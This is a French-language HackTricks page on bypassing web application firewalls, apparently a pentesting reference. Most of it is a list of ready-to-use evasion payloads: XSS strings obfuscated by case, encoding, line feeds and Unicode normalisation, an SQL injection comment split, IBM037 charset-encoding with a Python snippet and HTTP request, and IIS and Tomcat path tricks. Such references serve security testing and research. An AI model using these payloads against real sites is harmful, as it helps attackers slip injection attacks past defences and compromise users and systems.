6.4 KiB
Contournement de WAF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Contournement de Regex
Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les différents contournements peuvent être trouvées sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont été tirés de cet article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Encodage de jeu de caractères
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
Obfuscation
Description
L'obfuscation est une technique qui consiste à rendre le code source illisible ou difficile à comprendre pour les humains, tout en conservant sa fonctionnalité pour les machines. Cette technique est souvent utilisée pour masquer des informations sensibles ou pour contourner les mécanismes de sécurité.
Techniques d'obfuscation
Il existe plusieurs techniques d'obfuscation, notamment :
- Renommage des variables et des fonctions pour leur donner des noms aléatoires ou sans signification.
- Utilisation de caractères spéciaux ou d'espaces pour rendre le code plus difficile à lire.
- Ajout de code inutile ou de fausses instructions pour tromper les analystes.
- Compression du code pour réduire sa taille et le rendre plus difficile à comprendre.
Contournement des WAF
L'obfuscation peut être utilisée pour contourner les WAF en masquant les attaques ou en rendant le code malveillant plus difficile à détecter. Les techniques d'obfuscation peuvent être utilisées pour masquer les chaînes de caractères malveillantes, les noms de fichiers ou les adresses IP. Cependant, il est important de noter que les WAF modernes sont souvent capables de détecter les tentatives d'obfuscation et peuvent être configurés pour les bloquer.
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilité Unicode
Selon la mise en œuvre de la normalisation Unicode (plus d'informations ici), les caractères qui partagent la compatibilité Unicode peuvent contourner le WAF et s'exécuter en tant que charge utile prévue. Les caractères compatibles peuvent être trouvés ici
Exemple
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Dépassement des limites de taille
Il est courant dans les WAF basés sur le cloud que si la charge utile est supérieure à une taille X, la demande ne sera pas vérifiée par le WAF. Vous pouvez simplement l'utiliser pour les contourner.